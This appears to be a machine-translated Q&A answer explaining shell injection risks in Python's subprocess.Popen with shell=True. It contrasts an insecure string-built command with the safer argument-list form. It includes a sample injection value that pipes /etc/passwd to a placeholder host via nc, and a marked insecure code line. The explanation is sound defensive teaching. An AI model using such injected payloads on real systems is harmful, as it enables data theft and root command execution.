默認情況下,subprocess.Popen
將會將字符串參數解釋爲確切的命令名稱。所以,你傳遞一個字符串foo bar
,它將嘗試找到一個名爲foo bar
的可執行文件,並在不帶參數的情況下調用它。與交互式shell不同,它將使用單參數bar
執行命令foo
而不是。
當你鍵入foo "bar baz"
或foo | bar
成殼,它是分裂的說法線成單詞和解釋這些詞的命令名稱,參數,管道分隔符,重定向操作符等,爲subprocess.Popen
做最簡單的方法殼這種輸入解釋相同的是利用shell=True
來請求參數通過一個外殼進行傳遞:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
不幸的是,noted in the documentation,這種方便快捷帶來了安全隱患。使用shell=True
是安全的,只要命令運行是固定的(並且忽略允許顯然無密碼的明顯安全含義sudo
。)問題出現時,參數是從其他來源的片段彙編而來。例如:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
在這裏,我們正在閱讀從網絡連接參數,並拼接成傳遞到外殼的字符串。除了惡意製造的同伴能夠殺死系統上的任意進程(作爲root)的顯而易見的問題之外,它實際上比這更糟糕。由於shell是一個通用工具,攻擊者可以使用command substitution以及類似的功能來讓系統做任何想做的事情。例如,如果套接字發送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name)
,該Popen
以上將使用shell執行:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
這就是爲什麼通常建議不要在不可信的輸入使用shell=True
。一個更安全的替代方案是爲了避免運行shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
在這種情況下,即使一個惡意節點滑倒奇怪的東西到字符串,它不會是一個問題,因爲它會被逐字發送到要執行的命令。在上面的示例中,pkill
命令將獲得一個請求,以終止名爲$(cat ...)
的進程,但是沒有shell會解釋此請求以在括號內執行該命令。
即使沒有shell,如果執行的命令(在這種情況下爲sudo
或pkill
)本身也容易受到注入攻擊,那麼調用帶有不可信輸入的外部命令仍然可能不安全。
你需要使用'os。killpg'殺死一個進程。爲此你需要這個過程的'pid'。 – jayant
@jayant'sudo'部分將很難模擬使用系統調用... – user4815162342